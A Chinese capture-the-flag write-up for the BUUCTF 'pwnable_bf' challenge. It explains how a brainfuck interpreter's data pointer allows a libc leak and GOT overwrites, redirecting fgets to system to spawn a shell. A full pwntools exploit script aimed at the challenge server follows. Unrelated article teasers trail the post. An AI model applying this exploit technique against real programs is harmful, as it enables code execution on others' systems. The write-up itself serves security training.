(BUUCTF)pwnable_bf

文章目录

  • 前置知识
  • 整体思路
  • exp

前置知识

  • got

整体思路

这道题看起来是在解析brainfuck,我对这方面的知识可以说是一窍不通,但是看了看代码感觉并不需要我们懂brainfuck

首先我们需要输入一个长度最大为1024的字符串,然后其会逐字符解析该字符串。

其中,<>可以移动指针p指向的内容,初始的p0x0804A0A0

+-可以使得指针p指向的内容加一或者减一。通过这些目前我们可以实现任意地址写了。

.可以输出p指向的字符,因此要输出一个32位地址需要输出4次。

,可以从标准输入读取一个字符,优点是,可以在我们泄露了libc地址之后再使用,读入泄露出来的libc的地址。

我的exp比较混乱,这里详细说一下思路,师傅们可以自行实现:

  • 通过+ - .来泄露putsgot表,获取libc地址
  • 更改memset函数的got表为gets函数的地址
  • 更改fgets函数的got表为system函数的地址
  • 更改putchargot表为main函数地址
  • 输入一个,来触发putchar,从而返回到main函数,由此输入/bin/sh获得shell

exp

from pwn import *
from LibcSearcher import *

filename = './bf'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = elf.libc
libc = ELF('./libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node5.buuoj.cn', 29708)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid, 'b *0x08048791')
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

def add_addr():
    return b'>'

def dec_addr():
    return b'<'

def add_value():
    return b'+'

def dec_value():
    return b'-'

def output_value():
    return b'.'

def change_byte():
    return b','

raw_p = 0x0804A0A0
# 0x0804A080
fini_array = 0x08049F0C + 4
main_addr = elf.sym['main']

# print('puts_got: {}'.format(hex(elf.got['puts'])))

sh.recvuntil('type some brainfuck instructions except [ ]\n')
payload = (raw_p - (elf.got['puts'] + 3))*dec_addr() + output_value() + dec_addr() + output_value() + dec_addr() + output_value() + dec_addr() + output_value()
payload += 0x18*add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += 7*dec_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()
payload += (0x1c + 3)*dec_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte() + add_addr() + change_byte()

payload += output_value()

sh.sendline(payload)
sh.send(p8(main_addr & 0x000000ff))
sh.send(p8((main_addr & 0x0000ff00) >> 8))
sh.send(p8((main_addr & 0x00ff0000) >> 16))
sh.send(p8((main_addr & 0xff000000) >> 24))
# 这里写成sh.recv(1)和sh.recv(3)是因为直接写成sh.recv(4)会收不到...
result = b''
result += sh.recv(1)
result += sh.recv(3)
puts_got = u32(result[::-1])
leak_info('puts_got', puts_got)
libc.address = puts_got - libc.sym['puts']
leak_info('libc.address', libc.address)

sh.send(p8(libc.sym['gets'] & 0x000000ff))
sh.send(p8((libc.sym['gets'] & 0x0000ff00) >> 8))
sh.send(p8((libc.sym['gets'] & 0x00ff0000) >> 16))
sh.send(p8((libc.sym['gets'] & 0xff000000) >> 24))

sh.send(p8(libc.sym['system'] & 0x000000ff))
sh.send(p8((libc.sym['system'] & 0x0000ff00) >> 8))
sh.send(p8((libc.sym['system'] & 0x00ff0000) >> 16))
sh.send(p8((libc.sym['system'] & 0xff000000) >> 24))


sh.recvuntil('type some brainfuck instructions except [ ]\n')
payload = '/bin/sh\x00'
sh.sendline(payload)
sh.interactive()
# pause()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/314252.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

jmeter--3.使用提取器进行接口关联

目录 1. 正则表达式提取器 1.1 提取单个数据 1.2 名词解释 1.3 提取多个数据 2. 边界值提取器 2.2 名词解释 3. JSON提取器 3.1 Json语法 3.2 名词解释 3.3 如果有多组数据&#xff0c;同正则方式引用数据 1. 正则表达式提取器 示例数据&#xff1a;{"access_to…

flask框架基本使用

一、使用pycharm创建项目 1.创建项目 2.调整默认终端 3.打开虚拟终端 打开终端可以看出使用的是p1的虚拟机终端了 4.pyCharm小技巧 在flask种输入一个完整并且存在的函数名称或者类明&#xff0c; 然后 Alt 回车&#xff0c;pycharm可以自动导包&#xff0c;不用在手动在代…

Vue面试之组件通信的方式总结(下篇)

Vue面试之组件通信的方式总结 $refprovide&injectprovideinject EventBus事件总线vuex 最近在整理一些前端面试中经常被问到的问题&#xff0c;分为vue相关、react相关、js相关、react相关等等专题&#xff0c;可持续关注后续内容&#xff0c;会不断进行整理~ 在Vue框架中&…

利用Wireshark分析IP协议

实验.利用Wireshark分析IP协议 一&#xff0e;实验目的 1.掌握Wireshark软件简单的过滤语法 2.掌握IP数据报的组成格式 3.掌握IP分片的计算方法 4.学会利用Wireshark抓包分析IP协议 二&#xff0e;实验环境 1.Wireshark软件 2.Windows 计算机 三&#xff0e;实验预备知识 1.IP…

vcruntime140_1.dll无法继续执行代码怎么办?6个修复方法分享

找不到vcruntime1401.dll”。这个错误提示通常意味着我们的计算机缺少了一个重要的动态链接库文件。本文将介绍vcruntime1401.dll是什么文件、它的作用以及当电脑丢失该文件时可能产生的影响&#xff0c;并提供6个解决方法来解决这个问题。 一、vcruntime1401.dll是什么文件&a…

Pytorch基础:数据读取与预处理——调用PyTorch官方数据集

数据读取与预处理——调用PyTorch官方数据集 1. 从网络端下载 FashionMNIST 数据集到本地2. 数据集可视化 1. 从网络端下载 FashionMNIST 数据集到本地 (base) PS C:\Users\孙明阳> conda activate yang (yang) PS C:\Users\孙明阳> python Python 3.11.5 | packaged by…

RocketMQ源码阅读-Producer发消息

RocketMQ源码阅读-Producer发消息 1. 从单元测试入手2. 启动过程3. 同步消息发送过程4. 异步消息发送过程5. 小结 Producer是消息的生产者。 Producer和Consummer对Rocket来说都是Client&#xff0c;Server是NameServer。 客户端在源码中是一个单独的Model&#xff0c;目录为ro…

Nginx——基础配置

和大多数软件一样&#xff0c;Nginx也有自己的配置文件&#xff0c;但它又有很多与众不同的地方&#xff0c;本帖就来揭开Nginx基础配置的面纱。 1、Nginx指令和指令块 了解指令和指令块有助于大家了解配置的上下文&#xff0c;下面是一个配置模板示例&#xff1a; 在这个配…

JavaScript删除数组中指定元素的5种方法

文章目录 目录 文章目录 前言 一、数组是什么&#xff1f; 二、讲解数组 总结 前言 在JavaScript开发中&#xff0c;处理数组是一项非常常见的任务。有时候我们需要从数组中删除特定的元素&#xff0c;以便对数组进行进一步操作或者满足特定的需求。幸运的是&#xff0c;JavaS…

《BackTrader量化交易图解》第10章:Trade 交易操作

文章目录 10 Trade 交易操作10.1 量化回测分析流程10.2 Cerebro 类模块10.3 案例&#xff1a;Trade 交易10.4 实盘交易机器隐性规则10.5 Stake 交易数额和 Trade 交易执行价格 10 Trade 交易操作 10.1 量化回测分析流程 从本章开始讲解 BackTrader 的实盘操作。前面的章节讲过…

redis系列:01 数据类型及操作

redis的数据类型有哪些 string,list,set,sorted_set,hash 操作 sting: set name maliao get name exists name expire name 5 ttl name del name setex name 10 maliao 设置key和过期时间 setnx name maliao 当key不存在时才添加list&#xff1a; lpush letter a lpush le…

二极管选型怎么选?常用参数要熟练~

同学们大家好&#xff0c;今天我们继续学习杨欣的《电子设计从零开始》&#xff0c;这本书从基本原理出发&#xff0c;知识点遍及无线电通讯、仪器设计、三极管电路、集成电路、传感器、数字电路基础、单片机及应用实例&#xff0c;可以说是全面系统地介绍了电子设计所需的知识…

【LeetCode】206. 反转链表(简单)——代码随想录算法训练营Day01

题目链接&#xff1a;206. 反转链表 题目描述 206. 反转链表 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1] 示例 2&#xff1a; 输入&#xff1…

公司寄快递教程

公司寄快递用哪个更划算&#xff1f;这个问题有最优解吗&#xff1f;恐怕没有......很简单&#xff0c;回答这个问题之前&#xff0c;我们先来看看公司寄快递的背景。 一、大背景 所谓的大背景是由国内快递行业的发展现状所决定的。众所周知&#xff0c;这十年来&#xff0c;国…

Centos安装Datax

Centos7安装DataX 一、DataX简介二、DataX的数据源支持三、安装DataX1、下载DataX2、解压3、检验是否安装成功4、使用 四、实践案例1、环境信息2、编写同步的配置文件(user_info.json)3、执行同步4、验证同步结果 一、DataX简介 DataX 是阿里云 DataWorks数据集成 的开源版本&a…

Minitab的单因子方差分析的结果

单因子方差分析概述 当有一个类别因子和一个连续响应并且想要确定两个或多个组的总体均值是否存在差异时&#xff0c;可使用 单因子方差分析。如果经检验&#xff0c;发现至少有一组存在差异&#xff0c;请使用单因子方差分析中的比较对话框来标识存在显著差异的组对。 例如&…

C++ 之LeetCode刷题记录(九)

&#x1f604;&#x1f60a;&#x1f606;&#x1f603;&#x1f604;&#x1f60a;&#x1f606;&#x1f603; 开始cpp刷题之旅&#xff0c;多学多练&#xff0c;尽力而为。 先易后难&#xff0c;先刷简单的。 58. 最后一个单词的长度 给你一个字符串 s&#xff0c;由若干…

代码随想录第第五十七天—回文子串,最长回文子序列

leetcode 647. 回文子串 题目链接&#xff1a;回文子串 版本一&#xff1a;动态规划 dp数组及下标的含义 dp[i][j]&#xff1a;区间范围[i, j] &#xff08;左闭右闭&#xff09;的子串是否是回文子串&#xff0c;如果是dp[i][j]为true&#xff0c;否则为false。确定递推公式…

Notepad++安装步骤

Notepad是一款文本编辑工具&#xff0c;支持27种编程语言&#xff0c;通吃C,C ,Java ,C#, XML, HTML, PHP,JS 等&#xff0c;该软件拥有完整的中文化接口及支持多国语言编写的功能&#xff0c;不仅可以用来制作一般的纯文字说明文件&#xff0c;还非常适合编写计算机程序代码&a…

大数据StarRocks(五) :数据类型

StarRocks 支持数据类型&#xff1a;数值类型、字符串类型、日期类型、半结构化类型、其他类型。您在建表时可以指定以下类型的列&#xff0c;向表中导入该类型的数据并查询数据。 5.1 数值类型 SMALLINT2 字节有符号整数&#xff0c;范围 [-32768, 32767] INT4 字节有符号整…